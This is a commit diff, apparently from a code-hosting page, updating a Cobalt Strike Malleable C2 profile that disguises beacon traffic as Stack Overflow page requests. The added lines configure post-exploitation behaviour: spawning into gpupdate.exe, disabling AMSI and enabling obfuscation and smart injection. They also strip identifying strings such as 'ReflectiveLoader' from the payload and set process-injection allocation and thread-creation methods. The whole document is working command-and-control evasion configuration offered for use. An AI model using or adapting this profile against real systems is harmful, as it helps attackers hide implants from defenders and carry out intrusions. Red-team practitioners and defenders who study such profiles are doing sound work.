updated to work with 3.14.
parent
f1c591306d
commit
9ea03861ee
|
@ -15,6 +15,16 @@ set sample_name "stackoverflow.profile";
|
||||||
# set password "your_store_pass";
|
# set password "your_store_pass";
|
||||||
#}
|
#}
|
||||||
|
|
||||||
|
http-config {
|
||||||
|
# set headers "Server, Content-Type, Cache-Control, Connection";
|
||||||
|
# header "Content-Type" "text/html;charset=UTF-8";
|
||||||
|
# header "Connection" "close";
|
||||||
|
# header "Cache-Control" "max-age=2";
|
||||||
|
# header "Server" "nginx";
|
||||||
|
#set "true" if teamserver is behind redirector
|
||||||
|
set trust_x_forwarded_for "false";
|
||||||
|
}
|
||||||
|
|
||||||
http-get {
|
http-get {
|
||||||
|
|
||||||
set uri "/questions/32251816/c-sharp-directives-compilation-error";
|
set uri "/questions/32251816/c-sharp-directives-compilation-error";
|
||||||
|
@ -181,9 +191,19 @@ http-stager {
|
||||||
###Malleable PE Options###
|
###Malleable PE Options###
|
||||||
#always test spawnto and module stomp before using. My examples tested on Windows 10 Pro.
|
#always test spawnto and module stomp before using. My examples tested on Windows 10 Pro.
|
||||||
|
|
||||||
|
post-ex {
|
||||||
|
|
||||||
set spawnto_x86 "%windir%\\syswow64\\gpupdate.exe";
|
set spawnto_x86 "%windir%\\syswow64\\gpupdate.exe";
|
||||||
set spawnto_x64 "%windir%\\sysnative\\gpupdate.exe";
|
set spawnto_x64 "%windir%\\sysnative\\gpupdate.exe";
|
||||||
|
|
||||||
|
set obfuscate "true";
|
||||||
|
|
||||||
|
set smartinject "true";
|
||||||
|
|
||||||
|
set amsi_disable "true";
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
#used peclone on wwanmm.dll.
|
#used peclone on wwanmm.dll.
|
||||||
#don't use 'set image_size_xx' if using 'set module_xx'
|
#don't use 'set image_size_xx' if using 'set module_xx'
|
||||||
stage {
|
stage {
|
||||||
|
@ -215,6 +235,31 @@ stage {
|
||||||
transform-x64 {
|
transform-x64 {
|
||||||
prepend "\x90\x90\x90";
|
prepend "\x90\x90\x90";
|
||||||
strrep "ReflectiveLoader" "";
|
strrep "ReflectiveLoader" "";
|
||||||
strrep "beacon.64.dll" "";
|
strrep "beacon.x64.dll" "";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
process-inject {
|
||||||
|
|
||||||
|
set allocator "NtMapViewOfSection";
|
||||||
|
|
||||||
|
set min_alloc "16700";
|
||||||
|
|
||||||
|
set userwx "false";
|
||||||
|
|
||||||
|
set startrwx "true";
|
||||||
|
|
||||||
|
transform-x86 {
|
||||||
|
prepend "\x90\x90\x90";
|
||||||
|
}
|
||||||
|
transform-x64 {
|
||||||
|
prepend "\x90\x90\x90";
|
||||||
|
}
|
||||||
|
|
||||||
|
execute {
|
||||||
|
CreateThread "ntdll!RtlUserThreadStart";
|
||||||
|
CreateThread;
|
||||||
|
NtQueueApcThread;
|
||||||
|
CreateRemoteThread;
|
||||||
|
RtlCreateUserThread;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
Loading…
Reference in New Issue